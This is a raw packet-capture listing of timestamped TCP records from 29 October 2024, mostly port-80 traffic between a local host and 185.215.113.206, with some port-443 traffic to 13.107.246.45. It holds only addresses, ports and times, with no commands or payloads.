Oct 29, 2024 15:27:22.176925898 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.177158117 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.177217007 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.177294970 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.177340984 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.184129000 CET	49773	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.184170008 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.184292078 CET	49773	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.184643984 CET	49773	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.184657097 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.185794115 CET	49774	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.185820103 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.185873985 CET	49774	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.186016083 CET	49774	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.186028957 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.221410990 CET	443	49771	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.221489906 CET	443	49771	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.221573114 CET	49771	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.224028111 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.224096060 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.224435091 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.224574089 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.230640888 CET	443	49772	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.230694056 CET	443	49772	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.230751991 CET	49772	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.241485119 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.241497040 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.241509914 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.241570950 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.241626978 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.241635084 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.241689920 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.241919041 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.241974115 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.242079020 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.242093086 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.242110014 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.242116928 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.242122889 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.242149115 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.242182970 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.242235899 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.242289066 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.242551088 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.242561102 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.242564917 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.242575884 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.242603064 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.242645025 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.242887974 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.242952108 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.243021011 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.243030071 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.243079901 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.243200064 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.243206978 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.243279934 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.243309975 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.243323088 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.243377924 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.257533073 CET	443	49769	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.257766962 CET	443	49769	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.257863998 CET	49769	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.279203892 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.279211998 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.279225111 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.279349089 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.279751062 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.279831886 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.279869080 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.279879093 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.279933929 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.280052900 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.280062914 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.280134916 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.280841112 CET	49771	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.280880928 CET	443	49771	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.280895948 CET	49771	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.280904055 CET	443	49771	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.292857885 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.292957067 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.293174028 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.293179035 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.293195009 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.293201923 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.293206930 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.293214083 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.293299913 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.293334007 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.293345928 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.293359041 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.293364048 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.293395996 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.293418884 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.293943882 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.294011116 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.294099092 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.294107914 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.294161081 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.297319889 CET	49772	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.297344923 CET	443	49772	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.297358990 CET	49772	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.297364950 CET	443	49772	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.305901051 CET	49769	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.305937052 CET	443	49769	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.305947065 CET	49769	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.305954933 CET	443	49769	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.310812950 CET	49775	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.310853004 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.310986996 CET	49775	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.311388016 CET	49776	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.311418056 CET	443	49776	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.311472893 CET	49776	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.312944889 CET	49777	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.312968969 CET	443	49777	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.313040018 CET	49777	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.313146114 CET	49775	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.313163042 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.313239098 CET	49776	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.313256025 CET	443	49776	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.313560009 CET	49777	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.313575029 CET	443	49777	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.340207100 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.340215921 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.340229034 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.340629101 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.358412027 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.358526945 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.358534098 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.358614922 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.358616114 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.358684063 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.358690977 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.358706951 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.359172106 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.359179020 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.359191895 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.359231949 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.359231949 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.359318972 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.359328032 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.359333992 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.359334946 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.359384060 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.359488964 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.359496117 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.359549999 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.359638929 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.359652996 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.359659910 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.359668016 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.359690905 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.359724998 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.360095978 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.360104084 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.360116959 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.360176086 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.396015882 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.396096945 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.396104097 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.396218061 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.396234035 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.396243095 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.396254063 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.396326065 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.396647930 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.396711111 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.396738052 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.396749020 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.396842957 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.396850109 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.396851063 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.396918058 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.409990072 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.410003901 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.410010099 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.410073042 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.410106897 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.410115004 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.410165071 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.410172939 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.410188913 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.410228014 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.410407066 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.410464048 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.410548925 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.410556078 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.410567999 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.410610914 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.410792112 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.410851955 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.410864115 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.410873890 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.410921097 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.456957102 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.456967115 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.456980944 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.457082033 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.475351095 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.475369930 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.475378990 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.475445032 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.475502968 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.475517035 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.475528002 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.475539923 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.475548029 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.475553989 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.475588083 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.475616932 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.475636005 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.475696087 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.475704908 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.475716114 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.475771904 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.475899935 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.475944042 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.475951910 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.475951910 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.475995064 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.476150036 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.476198912 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.476200104 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.476211071 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.476246119 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.476286888 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.476300955 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.476347923 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.476826906 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.476892948 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.476896048 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.476911068 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.476950884 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.477020025 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.477032900 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.477046013 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.477082014 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.513191938 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.513202906 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.513206005 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.513396025 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.513550997 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.513607025 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.513618946 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.513628960 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.513663054 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.513706923 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.513736010 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.513757944 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.513781071 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.513837099 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.513894081 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.513946056 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.513982058 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.513991117 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.514034986 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.527086973 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.527102947 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.527111053 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.527168036 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.527256966 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.527276039 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.527282000 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.527333975 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.527354956 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.527360916 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.527365923 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.527369976 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.527436972 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.527441025 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.527487993 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.527632952 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.527700901 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.527709961 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.527715921 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.527753115 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.573896885 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.573905945 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.573918104 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.573972940 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.591931105 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.591949940 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.591963053 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.591998100 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.592030048 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.592195034 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.592211008 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.592226982 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.592240095 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.592252016 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.592257977 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.592271090 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.592300892 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.592423916 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.592428923 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.592482090 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.592644930 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.592653990 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.592703104 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.592710018 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.592710018 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.592767954 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.592916012 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.592926025 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.592932940 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.592973948 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.593000889 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.593094110 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.593151093 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.593158007 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.593162060 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.593205929 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.593233109 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.593245029 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.593463898 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.593525887 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.593537092 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.593544960 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.593580008 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.593616962 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.593626976 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.593672991 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.593970060 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.594017029 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.594017982 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.594028950 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.594058037 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.594074011 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.594106913 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.630166054 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.630172968 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.630187988 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.630287886 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.630389929 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.630403996 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.630409956 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.630460978 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.630491018 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.630621910 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.630630970 CET	80	49742	185.215.113.206	192.168.2.6
